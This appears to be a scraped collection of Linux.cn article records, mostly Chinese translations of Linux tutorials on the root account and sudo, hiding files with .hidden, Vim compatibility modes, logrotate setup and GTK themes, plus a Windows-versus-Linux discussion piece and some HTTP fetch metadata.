There is no leaderboard in open source. Some sites try to make it seem like they have such a thing, but there isn't one. Participate, contribute, add to the pool of ideas, add to the stash of commits, and you're doing it right.
## Develop
Programming in any environment is always, ultimately, about personal development. Whether you're searching for new ways of solving problems, looking for new ways to optimize code, learning a new language, or learning how to deal with other people better, you never want to stop growing. The more you develop yourself, the more a project benefits.
Growth, both personal and professional, is the final one on the list, but it actually persists through the entire process. Becoming an open source programmer isn't like getting a government job; it's a process. You learn, you share, you keep learning, you get distracted and write a [Game of Life](https://en.wikipedia.org/wiki/Conway's_Game_of_Life) implementation, and you learn some more.
This process is what open source is about: the freedom to develop, in every sense of the word. So go find your skill tree, choose your super powers, pay your dues, level up, and get involved.
## 8 Comments |
8,221 | Root 是谁?为什么会有 Root 账户? | http://www.tecmint.com/who-is-root-why-does-root-exist-in-linux/ | 2017-02-20T13:20:16 | [
"root",
"sudo"
] | https://linux.cn/article-8221-1.html | 在 Linux 中为什么会有一个名为 root 的特定账户?该怎么使用 root 账户?它在哪些场景下必须使用,哪些场景下不能使用?对于以上几个问题,如果您感兴趣的话,那么请继续阅读。

本文中,我们提供了一些关于 root 账户的参考资料,方便您了解。
### root 是什么?
首先,记住这一点,在 Unix 类操作系统中,目录的层级结构被设计为树状结构。起始目录是一个特殊目录,使用斜杠 `/` 表示,而其他目录都是由起始目录分支而来。由于这种结构很像现实中的树,所以 `/` 也被称为<ruby> 根 <rp> ( </rp> <rt> root </rt> <rp> ) </rp></ruby>目录。
下图,我们可以看到以下命令的输出:
```
$ tree -d / | less
```
该命令主要是演示一下 `/` 根目录和树<ruby> 根 <rp> ( </rp> <rt> root </rt> <rp> ) </rp></ruby>的类比。

*Linux 的目录层级*
虽然 root 账户命名的原因还不是很清楚,可能是因为 root 账户是唯一一个在根目录 `/` 中有写权限的账号吧。
此外,由于 root 账户可以访问 Unix 类操作系统中的所有文件和命令,因此,它也常被称为超级用户。
另外,根目录 `/` 和 `/root` 目录不能混淆了,`/root` 目录是 `root` 账户的家目录。实际上,`/root` 目录是根目录 `/` 的子目录。
### 获取 root 权限
当我们说到 root(或者超级用户)权限的时候,我们指的是这样一种账户的权限:其在系统上的权限包含(但不限于)修改系统并授权其他用户对系统资源的访问权限。
胡乱使用 root 账户,轻则系统崩溃重则系统完全故障。这就是为什么会说,以下准则是使用 root 账户的正确姿势:
首先,使用 root 账户运行 `visudo` 命令编辑 `/etc/sudoers` 文件,给指定账户(如:`supervisor`)授予最低的超级用户权限。
最低超级用户权限可以包含,例如:[添加用户 (`adduser`)](http://www.tecmint.com/add-users-in-linux/)、[修改用户 (`usermod`)](http://www.tecmint.com/usermod-command-examples/)等权限。
接着,使用 `supervisor` 账户登录并[使用 `sudo` 执行用户管理任务](http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/)。此时,你可能会发现,当你执行需要超级用户权限(例如:删除软件包)的其它任务时,会失败。

*没有使用超级用户权限运行命令*
在必须使用超级用户权限时,重复执行以上两个步骤,一旦执行完成,则立即使用 `exit` 命令退回到无特限的账户。
此时,你需要确定一下其他周期性的任务是否需要超级用户权限?如果需要,那么在 `/etc/sudoers` 中,给指定的账户或组授予必要的权限,尽量避免直接使用 `root` 账户操作。
##### 摘要
本文可以作为在 Unix 类操作系统中正确使用 root 账户的简单参考。收藏一下,你就可以随时翻阅!
还是一样,如果您对本文有什么疑问或建议,请使用以下的评论表单给我们评论留言,期待您的回音!
---
作者简介:
Gabriel Cánepa 来自 Villa Mercedes, San Luis, Argentina。他是一名 GNU/Linux 系统管理员和 Web 开发员,现在一家全球领先的消费品公司就职。他很喜欢使用 FOSS 工具来提高自己的工作效率。
---
via: <http://www.tecmint.com/who-is-root-why-does-root-exist-in-linux/>
作者:[Gabriel Cánepa](http://www.tecmint.com/author/gacanepa/) 译者:[zhb127](https://github.com/zhb127) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,222 | 如何不用重命名在文件管理器中隐藏文件和文件夹 | http://www.2daygeek.com/how-to-hide-files-and-folders-in-file-manager-without-renaming/ | 2017-02-20T15:19:00 | [
"文件管理器",
"隐藏"
] | https://linux.cn/article-8222-1.html | 如果一个系统被多个用户使用,你或许出于个人原因想在文件管理器中隐藏一些文件或文件夹不让其他人看到(绝大多数用户不会对 Linux 系统进行深入了解,所以他们只会看到文件管理器列出的文件和文件夹),我们有三种方法可以来做这件事。此外,(除了隐藏)你还可以使用密码保护文件或文件夹。在这个教程中,我们将讨论如何用非重命名的方法在文件管理器中隐藏文件和文件夹。

我们都知道,通过以点(“`.`”)前缀重命名一个文件或文件夹的方式,可以在 Linux 中将该文件或文件夹隐藏。但这不是隐藏文件或文件夹的正确/高效方式。一些文件管理器也隐藏文件名以波浪号(“`~`”)结尾的文件,那些文件被认为是备份文件。
在文件管理器中隐藏文件或文件夹的三种方法:
* 给文件或文件夹名添加一个点(“`.`”)前缀。
* 创建一个叫做 `.hidden` 的文件,然后把需要隐藏的文件或文件夹加到里面。
* 使用 Nautilus Hide 扩展
### 通过点(“`.`”)前缀隐藏文件或文件夹
这是每个人都知道的方法,因为默认情况下文件管理器和终端都不会显示以点(“`.`”)作为前缀的文件或文件夹。要隐藏一个现有文件,我们必须重命名它。这种方法并不总是一个好主意。我不推荐这种方法,在紧急情况下你可以使用这种方法,但不要特意这样做。
为了测试,我将创建一个叫做 `.magi` 的新文件夹。看下面的输出,当我使用 `ls -lh` 命令时,不会显示以点(“`.`”)作为前缀的文件或文件夹。在文件管理器中你也可以看到相同的结果。
```
# mkdir .magi
# ls -lh
total 36K
-rw-r--r-- 1 magi magi 32K Dec 28 03:29 nmon-old
```
文件管理器查看。

为了澄清一下,我在 ls 命令后面加上 `-a` 选项来列出被隐藏文件(是的,现在我可以看到文件名 `.magi` 了)。
```
# ls -la
total 52
drwxr-xr-x 4 magi magi 4096 Feb 12 01:09 .
drwxr-xr-x 24 magi magi 4096 Feb 11 23:41 ..
drwxr-xr-x 2 magi magi 4096 Feb 12 01:09 .magi
-rw-r--r-- 1 magi magi 32387 Dec 28 03:29 nmon-old
```
为了查看文件管理器中的被隐藏文件,只需按 `Ctrl+h` 快捷键,再次按 `Ctrl+h` 又可以把这些文件隐藏。

### 用非重命名方法,通过 “.hidden” 文件的帮助隐藏文件或文件夹
如果你想用非重命名的方法隐藏一个文件,或者一些应用不允许重命名。在这种情况下,你可以使用 `.hidden` 文件,它可能是最适合你的选择。
一些文件管理器,比如 Nautilus、Nemo、Caja 和 Thunar,提供了一种很原始的方法来隐藏文件,不需要重命名。怎样做?只需在想要隐藏文件的地方创建一个叫做 `.hidden` 的文件,然后把想隐藏的文件和文件夹列表一行一个地加进来。最后,刷新文件夹,那些文件将不显示出来。
为了测试,我将在同一目录下创建一个叫做 `.hidden` 的文件和两个分别叫做 `2g`、`2daygeek` 的文件/文件夹,然后把它们加到 `.hidden` 文件中。
```
# touch 2g
# mkdir 2daygeek
# nano .hidden
2g
2daygeek
```
将两个文件加到 `.hidden` 文件之前。

将两个文件加到 `.hidden` 文件之后。

通过按 `Ctrl+h` 显示所有文件。

### Nautilus Hide 扩展
[Nautilus Hide](https://github.com/brunonova/nautilus-hide) 是针对 Nautilus 文件管理器的一个简单的 Python 扩展,它在右键菜单中增加了隐藏或显示被隐藏文件的选项。
要在 Ubuntu 及其衍生版上安装 Nautilus 和 Namo 的 Hide 扩展,我们可以在 Ubuntu 及其衍生版上通过运行下面的命令:
```
$ sudo apt install nautilus-hide
$ nautilus -q
$ sudo apt install nemo-hide
$ nemo -q
```
对于基于 DEB 的系统,可以按照下面的步骤安装 Nautilus Hide 扩展:
```
$ sudo apt install cmake gettext python-nautilus xdotool
$ mkdir build
$ cd build
$ cmake ..
$ sudo make
$ sudo make install
$ nautilus -q
```
对于基于 RPM 的系统,按照下面的步骤安装 Nautilus Hide 扩展:
```
$ sudo [yum|dnf|zypper] install cmake gettext nautilus-python xdotool
$ mkdir build
$ cd build
$ cmake ..
$ sudo make
$ sudo make install
$ nautilus -q
```
这个扩展其实就是简单的使用 `.hidden` 文件来隐藏文件。当你选择隐藏一个文件时,它的名字就加入到 `.hidden` 文件。当你选择对它解除隐藏(为解除隐藏,按 `Ctrl+h` 快捷键来显示包括点(“`.`”)前缀在内的所有文件,然后选择<ruby> 解除隐藏文件 <rt> Unhide Files </rt></ruby>)时,它的名字就从 `.hidden` 文件中移除(当把所有列在 `.hidden` 文件中的文件都解除隐藏以后, `.hidden` 文件也就随之消失了)。如果文件没有被隐藏/显示,请按 F5 来刷新文件夹。
你可能会问,方法二也能完成相同的事情,为什么我还要安装 Nautilus Hide 扩展。在方法二中,我需要在要隐藏文件的地方手动创建一个 `.hidden` 文件,然后必须把需要隐藏的文件加到其中,但在这儿一切都是自动的。简单的右键单击,然后选择隐藏或取消隐藏(如果 `.hidden` 文件还不存在,它会自动创建 )。
使用 Nautilus Hide 扩展来隐藏一个文件。
看下面的屏幕截图,我们使用 Nautilus Hide 扩展来隐藏一个文件。

使用 Nautilus Hide 扩展来解除文件隐藏。
看下面的屏幕截图,我们使用 Nautilus Hide 扩展解除对一个文件的隐藏(通过按 `Ctrl+h`, 你可以查看所有的被隐藏文件和文件夹)。

---
via: <http://www.2daygeek.com/how-to-hide-files-and-folders-in-file-manager-without-renaming/>
作者:[MAGESH MARUTHAMUTHU](http://www.2daygeek.com/how-to-hide-files-and-folders-in-file-manager-without-renaming/) 译者:[ucasFL](https://github.com/ucasFL) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,224 | Vim 编辑器的兼容模式 | https://www.howtoforge.com/tutorial/vim-editor-modes-explained/ | 2017-02-21T16:02:00 | [
"Vim"
] | https://linux.cn/article-8224-1.html | 目前,在我们讲述 [Vim](https://www.howtoforge.com/vim-basics) 的教程中,讨论过编辑器的<ruby> 模式行 <rp> ( </rp> <rt> Modeline </rt> <rp> ) </rp></ruby>功能以及怎样用[插件](https://www.howtoforge.com/tutorial/vim-editor-plugins-for-software-developers-3/)来扩展 Vim 的功能集。可正如我们所知,Vim 提供了非常多的内置功能:因此在本教程中更进一步,我们来谈谈在该编辑器启动时的可用模式。

但在我们开始之前,请注意在本教程中提及的所有例子、命令及用法说明都是在 Ubuntu 14.04 上测试的,我们测试用的 Vim 版本是 7.4 。
### Vim 中的兼容模式与不兼容模式
为了更好理解上述的 Vim 模式,你有必要先去了解下此编辑器初始化过程的一个重要方面。
#### 系统级及本地 vimrc 文件
当 Vim 启动时,编辑器会去搜索一个系统级的 vimrc 文件来进行系统范围内的默认初始化工作。
这个文件通常在你系统里 `$VIM/vimrc` 的路径下,如果没在那里,那你可以通过在 Vim 里面运行 `:version` 命令来找到它的正确存放位置。比如说,在我这里,这个命令的相关部分的输出结果如下:
```
...
...
...
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
fall-back for $VIM: "/usr/share/vim"
...
...
...
```
可以看到那个系统 vimrc 文件确实位于 `$VIM/vimrc` ,但我检查了我机子上没设置过 `$VIM` 环境变量。所以在这个例子里 - 正如你在上面的输出所看到的 - $VIM 在我这的路径是 `/usr/share/vim` ,是一个回落值(LCTT 译注:即如果前面失败的话,最终采用的结果)。于是我试着在这个路径寻找 vimrc ,我看到这个文件是存在的。如上即是我的系统 vimrc 文件,就如前面提过的那样 - 它在 Vim 启动时会被读取。
在这个系统级 vimrc 文件被读取解析完后,编辑器会查找一个用户特定的(或者说本地的)vimrc 文件。这个本地 vimrc 的[搜索顺序](http://vimdoc.sourceforge.net/htmldoc/starting.html#system-vimrc)是:环境变量 `VIMINIT`、`$HOME/.vimrc`、环境变量 `EXINIT`, 和一个叫 `exrc` 的文件。通常情况下,会存在 `$HOME/.vimrc` 或 `~/.vimrc` 这样的文件,这个文件可看作是本地 vimrc。
#### 我们谈论的是什么兼容性
就像我们谈论 Vim 的兼容性模式和不兼容性模式那样,这些模式的开启和禁用会做出什么样的兼容性也值得了解。要了解这些,先要知道 Vim 是 **V****IM**proved 的缩写,像这个全名暗示的那样,Vim 编辑器是 Vi 编辑器的改进版。
经过改进意味着 Vim 的功能集比 Vi 的更大。为了更好的理解这俩编辑器的区别,点[这里](http://askubuntu.com/questions/418396/what-is-the-difference-between-vi-and-vim)。
当谈论 Vim 的兼容和不兼容模式时,我们所说的兼容性是指 Vim 兼容 Vi。在兼容模式下运行时,Vim 大部分增强及改善的功能就不可用了。不管怎样,要记住这种模式下,Vim 并不能简单等同 Vi - 此模式只是设定一些类似 Vi 编辑器工作方式的默认选项。
不兼容模式 - 不用多说 - 使得 Vim 用起来跟 Vi 不兼容,也使得用户可以用到它的所有增强、改善及特征。
#### 怎么启用/禁用这些模式?
在 Vim 中尝试运行 `:help compatible` 命令,接着你会看到如下语法:
```
'compatible' 'cp' boolean (默认开启 ,当 |vimrc| 或 |gvimrc| 存在时关闭)
```
描述中说到兼容模式默认开启的,不过当 vimrc 文件存在时会关闭。但说的是哪种 vimrc 文件呢?答案是本地 vimrc。深入研究下 `:help compatible` 命令给出的详情,你会发现下面内容说得更清楚:
>
> 事实上,这意味着当一个 |vimrc| 或 |gvimrc| 文件存在时,Vim 会用默认的 Vim,否则它会用 Vi 默认的。(注:如果系统级的 vimrc 或 gvimrc 文件中带有 |-u| 参数,则不会这样。)。
>
>
>
那么在 Vim 启动时,实际上进行的动作是,首先会解析系统 vimrc 文件 - 在这时处于兼容性模式默认开启状态。现在,无论何时发现一个用户(或成为本地) vimrc ,不兼容模式都会打开。`:help compatible-default`命令说的很清楚:
>
> 在 Vim 启动时,‘compatible’选项是打开的。这将在 Vim 开始初始化时应用。但是一旦之后发现用户级 vimrc 文件,或在当前目录有一个 vimrc 文件,抑或是 `VIMINIT` 环境变量已设置,Vim 就会被设为不兼容模式。
>
>
>
假如你想无视默认的行为,要在编辑器开始解析系统 vimrc 文件时打开不兼容模式,你可以通过添加如下命令到那个文件的开头来完成这个操作。
```
:set nocompatible
```
#### 其他有用细节
这儿是一些关于这些模式的更有用的细节:
>
> 现在通过创建一个 .vimrc 文件来设置或重置兼容性会有一个副作用:(键盘)映射(`Mapping`)在解释的时候会有冲突。这使得在用诸如回车控制符 `<CR>` 等情况时会有影响。如果映射关系依赖于兼容性的某个特定值,在给出映射前设置或者重置它。
>
>
> 上述行为能够用以下方式能覆盖:
>
>
> * 如果给出 `-N` 命令行参数,即使不存在 vimrc 文件, ‘不兼容模式’ 也会启用。
> * 如果给出 `-C` 命令行参数,即使存在 vimrc 文件, ‘兼容模式’ 也会启用。
> * 如果应用了 `-u {vimrc}` 参数,‘兼容模式’将会启用。
> * 当 Vim 的可执行文件的名称以 `ex` 结尾时,那这个效果跟给出 `-C` 参数一样:即使存在一个 vimrc 文件,‘兼容模式’ 也会启用,因为当 Vim 以 “ex” 的名称启用时,就会让 Vim 的工作表现得像 “前任” 一样(LCTT 译注:意即 Vim 像 Vi 一样工作)。 ```
>
>
>
### 结论
我们都觉得,你可能不会发现你自己有机会处于一种你需要打开 Vim 的 Vi 兼容模式的情形中,但是那并不意味着你应该不知道 Vim 编辑器的初始化过程。毕竟,你绝不会知道这些知识什么时候会帮到你。
---
via: <https://www.howtoforge.com/tutorial/vim-editor-modes-explained/>
作者:[Himanshu Arora](https://www.howtoforge.com/tutorial/vim-editor-modes-explained/) 译者:[ch-cn](https://github.com/ch-cn) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | # Vim Editor Modes Explained
So far, in our tutorials centered around [Vim](https://www.howtoforge.com/vim-basics), we discussed the editor's Modeline feature as well as how Vim's feature-set can be expanded using [plugins](https://www.howtoforge.com/tutorial/vim-editor-plugins-for-software-developers-3/). However, as we all know, Vim offers a plethora of in-built features; so taking the discussion further, in this tutorial, we will discuss the available modes in which the editor can be launched.
But before we do that, please note that all the examples, commands, and instructions mentioned in this tutorial have been tested on Ubuntu 14.04, and the Vim version we've used is 7.4.
# Compatible and Nocompatible modes in Vim
To properly understand the aforementioned Vim modes, you'll first have to understand an important aspect of the editor's initialization process.
## System and local vimrc
The aspect in question is: when Vim is launched, a system-level 'vimrc' file is searched by the editor to carry out system-wide default initializations.
This file is usually located at the ** $VIM/vimrc** path on your system, but if that's not the case, then you can find the exact location by running the
**:version**command inside Vim. For example, in my case, here's the relevant excerpt of the output the command produced:
`...`
...
...
**system vimrc file: "$VIM/vimrc"**
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
**fall-back for $VIM: "/usr/share/vim"**
...
...
...
So the system 'vimrc' file is indeed located at ** $VIM/vimrc**, but I checked that the $VIM environment variable isn't set on my machine. So in that case - as you can see in the output above - there's a fall back value for $VIM, which in my case is
*. When I tried searching for 'vimrc' at this path, I observed the file is present. So that's my system vimrc, which - as I mentioned earlier - is read when Vim is launched.*
**/usr/share/vim**After this system vimrc is parsed, the editor looks for a user-specific (or local) 'vimrc' file. The [order of search](http://vimdoc.sourceforge.net/htmldoc/starting.html#system-vimrc) for the local vimrc is: environment variable VIMINIT, $HOME/.vimrc, environment variable EXINIT, and a file named 'exrc'. Usually, it's the $HOME/.vimrc or ~/.vimrc that exists and is treated as local vimrc.
## What compatibility are we talking
As we're discussing Vim's compatible and nocompatible modes, it's worth knowing what kind of compatibility does these modes enable and disable. For this, one should first be aware that Vim is a short form of **V**i **IM**proved, and as the full name suggests, the editor is an improved version of the Vi editor.
By improved, what is meant is that the feature set that Vim offers is larger than that of Vi. For a better understanding of difference between the two editors, head [here](http://askubuntu.com/questions/418396/what-is-the-difference-between-vi-and-vim).
So while discussing Vim's compatible and nocompatible modes, the compatibility we're talking about is Vim's compatibility with Vi. When run in compatible mode, most of the enhancements and improvements of Vim get disabled. However, keep in mind that in this mode, Vim doesn't simply emulate Vi - the mode basically sets some default options to the way the Vi editor works.
The nocompatible mode - needless to say - makes Vim work without being Vi-compatible, making it all its enhancements/improvements/features available to the user.
## How to enable/disable these modes?
Try running the **:help compatible** command in Vim, and you should see the following syntax:
'compatible' 'cp' boolean (default on,off when a |vimrc| or |gvimrc|file is found)
So the description says the compatible mode is ON by default, but gets turned OFF when a vimrc file is found. But which vimrc are we talking about? The answer is local vimrc. Delve into the details that the **:help compatible** command offers and you'll find the following line, which should make things more clear:
`Effectively, this means that when a |vimrc| or |gvimrc| file exists, Vim will use the Vim defaults,otherwise it will use the Vi defaults. (`**Note: This doesn't happen for the system-wide vimrc or gvimrc file, nor for a file given with the |-u| argument**).
So, what actually happens is, whenever Vim is launched, it first parses the system vimrc file - at this time the compatible mode is ON by default. Now, whenever a user (or local) vimrc is found, the nocompatible mode gets turned on. The **:help compatible-default** command makes it quite clear:
When Vim starts, the 'compatible' option is on. This will be used when Vim starts its initializations. But as soon as a user vimrc file is found, or a vimrc file in the current directory, or the "VIMINIT" environment variable is set, it will be set to 'nocompatible'.
In case you want to override the default behavior, and turn on the nocompatible mode when the editor starts parsing the system vimrc file, this can be done by adding the following command to that file in the beginning:
:set nocompatible
## Other useful details
Here are some more useful details about these modes:
But there is a side effect of setting or resetting 'compatible' at the moment a .vimrc file is found: Mappings are interpreted the moment they are encountered. This makes a difference when using things like "<CR>". If the mappings depend on a certain value of 'compatible', set or reset it before
giving the mapping.
The above behavior can be overridden in these ways:
- If the "-N" command line argument is given, 'nocompatible' will be used, even when no vimrc file exists.
- If the "-C" command line argument is given, 'compatible' will be used, even when a vimrc file exists.
- If the "-u {vimrc}" argument is used, 'compatible' will be used.
- When the name of the executable ends in "ex", then this works like the "-C" argument was given: 'compatible' will be used, even when a vimrc file exists. This has been done to make Vim behave like "ex", when it is started as "ex".
# Conclusion
Agreed, chances are that you may not find yourself in a situation where-in you'll have turn on the Vi-compatible mode of Vim, but that doesn't mean you should be ignorant of the editor's initialization process. After all, you never know when this knowledge might be of your help. |
8,225 | 来聊聊: Windows vs. Linux | http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml | 2017-02-21T16:16:05 | [
"Linux",
"Windows"
] | https://linux.cn/article-8225-1.html |
>
> Windows 用户们,去还是留?
>
>
>
Windows 依然是高居榜首的桌面操作系统,占据 90% 以上的市场份额,远超 macOS 和 Linux 。
从数据来看,尽管 linux 并不是 Windows 的头号接班人,但近几年越来越多用户转向 Ubuntu、Linux Mint 等发行版,的确为 Linux 带来了不小的增长。

面对 Windows 10 发布以来招致的诸多批评,微软后来采取的激进升级策略也明显无济于事。很多用户抱怨在不知情的情况下就被升级到了 Windows 10 ,这也促使部分用户决定放弃微软产品而转向 Linux 。
同时也有声音指责微软试图通过 Windows 10 监视用户,同样,这些批评助推更多用户投入 Linux 阵营。
### 你怎么选: Windows or Linux?
十几年前,用户转向 Linux 还主要是出于安全考虑,因为 Windows 才是全世界病毒和黑客的主要攻击目标。
这有它的必然原因: Windows 是被最广泛采用的操作系统,但那时微软在安全上的设计并没有今天这样实用。
而近几年,尽管 Linux 和 Windows 在安全方面的差距已没有那么明显,但那些决定转阵营的用户似乎又有了除安全以外的其它理由。
我们不想用什么市场统计来说明问题,因为在这场 Windows 和 Linux 的持久战中,这些数据显得无关紧要。但是用户的声音却至关重要,因为它们总能代表并预示各个平台的走向。
这也是为什么我们在这里向读者提出问题: Linux 是 Windows 合适的替代品么?放弃 Windows 而选择 Linux 是否明智?微软是否该为用户流向 Linux 而感到紧张?请在评论中留下您的看法。
---
via: <http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml>
作者:[Bogdan Popa](http://news.softpedia.com/editors/browse/bogdan-popa) 译者:[Dotcra](https://github.com/Dotcra) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,227 | 配置 logrotate 的终极指导 | http://www.linuxroutes.com/configure-logrotate/ | 2017-02-22T07:38:00 | [
"logrotate",
"日志"
] | /article-8227-1.html | 一般来说,日志是任何故障排除过程中非常重要的一部分,但这些日志会随着时间增长。在这种情况下,我们需要手动执行日志清理以回收空间,这是一件繁琐的管理任务。为了解决这个问题,我们可以在 Linux 中配置 logrotate 程序,它可以自动执行日志文件的轮换、压缩、删除和用邮件发出。

我们可以配置 logrotate 程序,以便每个日志文件可以在每天、每周、每月或当它变得太大时处理。
### logrotate 是如何工作的
默认情况下,logrotate 命令作为放在 `/etc/cron.daily` 中的 cron 任务,每天运行一次,它会帮助你设置一个策略,其中超过某个时间或大小的日志文件被轮换。
命令: `/usr/sbin/logrotate`
配置文件: `/etc/logrotate.conf`
这是 logrotate 的主配置文件。logrotate 还在 `/etc/logrotate.d/` 中存储了特定服务的配置。确保下面的那行包含在 `/etc/logrotate.conf` 中,以读取特定服务日志配置。
```
include /etc/logrotate.d`
```
logrotate 历史: `/var/lib/logrotate.status`
重要的 logrotate 选项:
```
compress --> 压缩日志文件的所有非当前版本
daily,weekly,monthly --> 按指定计划轮换日志文件
delaycompress --> 压缩所有版本,除了当前和下一个最近的
endscript --> 标记 prerotate 或 postrotate 脚本的结束
errors "emailid" --> 给指定邮箱发送错误通知
missingok --> 如果日志文件丢失,不要显示错误
notifempty --> 如果日志文件为空,则不轮换日志文件
olddir "dir" --> 指定日志文件的旧版本放在 “dir” 中
postrotate --> 引入一个在日志被轮换后执行的脚本
prerotate --> 引入一个在日志被轮换前执行的脚本
rotate 'n' --> 在轮换方案中包含日志的 n 个版本
sharedscripts --> 对于整个日志组只运行一次脚本
size='logsize' --> 在日志大小大于 logsize(例如 100K,4M)时轮换
```
### 配置
让我们为我们自己的示例日志文件 `/tmp/sample_output.log` 配置 logrotate。
第一步:在 `/etc/logrotate.conf` 中添加以下行。
```
/tmp/sample_output.log {
size 1k
create 700 root root
rotate 4
compress
}
```
在上面的配置文件中:
* size 1k - logrotate 仅在文件大小等于(或大于)此大小时运行。
* create - 轮换原始文件并创建具有指定权限、用户和组的新文件。
* rotate - 限制日志文件轮转的数量。因此,这将只保留最近的 4 个轮转的日志文件。
* compress - 这将压缩文件。
第二步:通常,你需要等待一天才能等到 logrotate 由 `/etc/cron.daily` 执行。除此之外,你可以用下面的命令在命令行中运行:
```
/usr/sbin/logrotate /etc/logrotate.conf
```
在执行 logrotate 命令之前的输出:
```
[root@rhel1 tmp]# ls -l /tmp/
total 28
-rw-------. 1 root root 20000 Jan 1 05:23 sample_output.log
```
在执行 logrotate 之后的输出:
```
[root@rhel1 tmp]# ls -l /tmp
total 12
-rwx------. 1 root root 0 Jan 1 05:24 sample_output.log
-rw-------. 1 root root 599 Jan 1 05:24 sample_output.log-20170101.gz
[root@rhel1 tmp]#
```
这样就能确认 logrotate 成功实现了。
---
作者简介:
大家好!我是 Manmohan Mirkar。我很高兴见到你们!我在 10 多年前开始使用 Linux,我从来没有想过我会到今天这个地步。我的激情是帮助你们获取 Linux 知识。谢谢你们在这!
---
via: <http://www.linuxroutes.com/configure-logrotate/>
作者:[Manmohan Mirkar](http://www.linuxroutes.com/author/admin/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPConnectionPool(host='www.linuxroutes.com', port=80): Max retries exceeded with url: /configure-logrotate/ (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7b8327581a80>: Failed to resolve 'www.linuxroutes.com' ([Errno -2] Name or service not known)")) | null |
8,228 | 如何获取、安装和制作 GTK 主题 | http://www.linux.org/threads/installing-obtaining-and-making-gtk-themes.8463/ | 2017-02-22T10:47:00 | [
"主题",
"GTK"
] | https://linux.cn/article-8228-1.html | 多数桌面版 Linux 都支持主题。GUI(LCTT 译注:图形用户界面)独有的外观或者“风格”叫做主题。用户可以改变主题让桌面看起来与众不同。通常,用户也会更改图标,然而,主题和图标包是两个独立的实体。很多人想制作他们自己的主题,因此这是一篇关于 GTK 主题的制作以及各种制作时所必需的信息的文章。
**注意:** 这篇文章着重讨论 GTK3,但会稍微谈一下 GTK2、Metacity 等。本文不会讨论光标和图标。

### 基本概念
GIMP 工具包(简称 GTK)是一个用来在多种系统上(因此造就了 GTK 的跨平台)创建图形用户界面的构件工具包。GTK(<http://www.gtk.org/>)通常被误认为代表“GNOME 工具包”,但实际上它代表“GIMP 工具包”,因为最初创造它是为了给 GIMP 设计用户界面。GTK 是一个用 C 语言编写的面向对象工具包(GTK 本身不是一种语言)。GTK 遵循 LGPL 协议完全开源。GTK 是一个广泛使用的图形用户界面工具包,它含有很多用于 GTK 的工具。
为 GTK 制作的主题无法用在基于 Qt 的应用上。QT 应用需要使用 Qt 主题。
主题使用层叠样式表(CSS)来生成主题样式。这里的 CSS 和网站开发者在网页上使用的相同。然而不是引用 HTML 标签,而是引用 GTK 构件的专用标签。学习 CSS 对主题开发者来说很重要。
### 主题存放位置
主题可能会存储在 `~/.themes` 或者 `/usr/share/themes` 文件夹中。存放在 `~/.themes` 文件夹下的主题只有此 home 文件夹的所有者可以使用。而存放在 `/usr/share/themes` 文件夹下的全局主题可供所有用户使用。当执行 GTK 程序时,它会按照某种确定的顺序检查可用主题文件的列表。如果没有找到主题文件,它会尝试检查列表中的下一个文件。下述文字是 GTK3 程序检查时的顺序列表。
1. `$XDG_CONFIG_HOME/gtk-3.0/gtk.css` (另一写法 `~/.config/gtk-3.0/gtk.css`)
2. `~/.themes/NAME/gtk-3.0/gtk.css`
3. `$datadir/share/themes/NAME/gtk-3.0/gtk.css` (另一写法 `/usr/share/themes/name/gtk-3.0/gtk.css`)
**注意:** “NAME”代表当前主题名称。
如果有两个主题名字相同,那么存放在用户 home 文件夹(`~/.themes`)里的主题会被优先使用。开发者可以利用这个 GTK 主题查找算法的优势来测试存放在本地 home 文件夹的主题。
### 主题引擎
主题引擎是软件的一部分,用来改变图形用户界面构件的外观。引擎通过解析主题文件来了解应当绘制多少种构件。有些引擎随着主题被开发出来。每种引擎都有优点和缺点,还有些引擎添加了某些特性和特色。
从默认软件源中可以获取很多主题引擎。Debian 系的 Linux 发行版可以执行 `apt-get install gtk2-engines-murrine gtk2-engines-pixbuf gtk3-engines-unico` 命令来安装三种不同的引擎。很多引擎同时支持 GTK2 和 GTK3。以下述列表为例:
* gtk2-engines-aurora - Aurora GTK2 引擎
* gtk2-engines-pixbuf - Pixbuf GTK2 引擎
* gtk3-engines-oxygen - 将 Oxygen 组件风格移植 GTK 的引擎
* gtk3-engines-unico - Unico GTK3 引擎
* gtk3-engines-xfce - 用于 Xfce 的 GTK3 引擎
### 创作 GTK3 主题
开发者创作 GTK3 主题时,或者从空文件着手,或者将已有的主题作为模板。从现存主题着手可能会对新手有帮助。比如,开发者可以把主题复制到用户的 home 文件夹,然后编辑这些文件。
GTK3 主题的通用格式是新建一个以主题名字命名的文件夹。然后新建一个名为 `gtk-3.0` 的子目录,在子目录里新建一个名为 `gtk.css` 的文件。在文件 `gtk.css` 里,使用 CSS 代码写出主题的外观。为了测试可以将主题移动到 `~/.theme` 里。使用新主题并在必要时进行改进。如果有需求,开发者可以添加额外的组件,使主题支持 GTK2、Openbox、Metacity、Unity 等桌面环境。
为了阐明如何创造主题,我们会学习 Ambiance 主题,通常可以在 `/usr/share/themes/Ambiance` 找到它。此目录包含下面列出的子目录以及一个名为 `index.theme` 的文件。
* gtk-2.0
* gtk-3.0
* metacity-1
* unity
